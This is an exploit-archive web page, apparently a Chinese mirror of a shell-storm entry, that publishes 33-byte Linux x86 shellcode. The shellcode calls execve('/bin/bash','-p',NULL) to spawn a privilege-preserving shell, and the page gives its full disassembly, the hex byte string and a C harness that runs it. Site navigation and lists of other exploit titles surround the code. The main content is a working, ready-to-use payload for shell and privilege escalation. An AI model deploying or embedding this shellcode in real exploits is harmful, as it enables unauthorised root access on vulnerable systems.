首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Linux x86 - execve("/bin/bash","-p",NULL) - 33 bytes
来源:http://www.shell-storm.org 作者:Salwan 发布时间:2010-05-05  

/*

Title:  Linux x86 - execve("/bin/bash","-p",NULL) - 33 bytes
Author: Jonathan Salwan
Mail: submit@shell-storm.org
Web: http://www.shell-storm.org

!Database of Shellcodes http://www.shell-storm.org/shellcode/


sh sets (euid, egid) to (uid, gid) if -p not supplied and uid < 100
Read more: http://www.faqs.org/faqs/unix-faq/shell/bash/#ixzz0mzPmJC49

sassembly of section .text:

08048054 <.text>:
 8048054: 6a 0b                 push   $0xb
 8048056: 58                    pop    %eax
 8048057: 99                    cltd  
 8048058: 52                    push   %edx
 8048059: 66 68 2d 70           pushw  $0x702d
 804805d: 89 e1                 mov    %esp,%ecx
 804805f: 52                    push   %edx
 8048060: 6a 68                 push   $0x68
 8048062: 68 2f 62 61 73        push   $0x7361622f
 8048067: 68 2f 62 69 6e        push   $0x6e69622f
 804806c: 89 e3                 mov    %esp,%ebx
 804806e: 52                    push   %edx
 804806f: 51                    push   %ecx
 8048070: 53                    push   %ebx
 8048071: 31 c9                 xor    %ecx,%ecx
 8048073: cd 80                 int    $0x80

*/

#include <stdio.h>

char shellcode[] = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70"
     "\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61"
     "\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52"
     "\x51\x53\x31\xc9\xcd\x80";

int main(int argc, char *argv[])
{
        fprintf(stdout,"Length: %d\n",strlen(shellcode));
 (*(void(*)()) shellcode)();      
}



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Beyond Compare 3.0.13 b9599 (.
·VicFTPS v5.0 Directory Travers
·Avant Browser Denial of Servi
·PhotoFiltre Studio X .tif file
·Firefox 3.6.3 & Safari 4.0.5 w
·Internet Explorer 8.0 Denial o
·Safari 4.0.5 & Camino 2.0.2 hi
·PHP-Nuke 7.0/8.1/8.1.35 Wormab
·Wormable Remote Code Execution
·Knowledge Root version 0.9.9.5
·MDaemon Mailer Daemon Version
·RealVNC VNC Server Free Editio
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved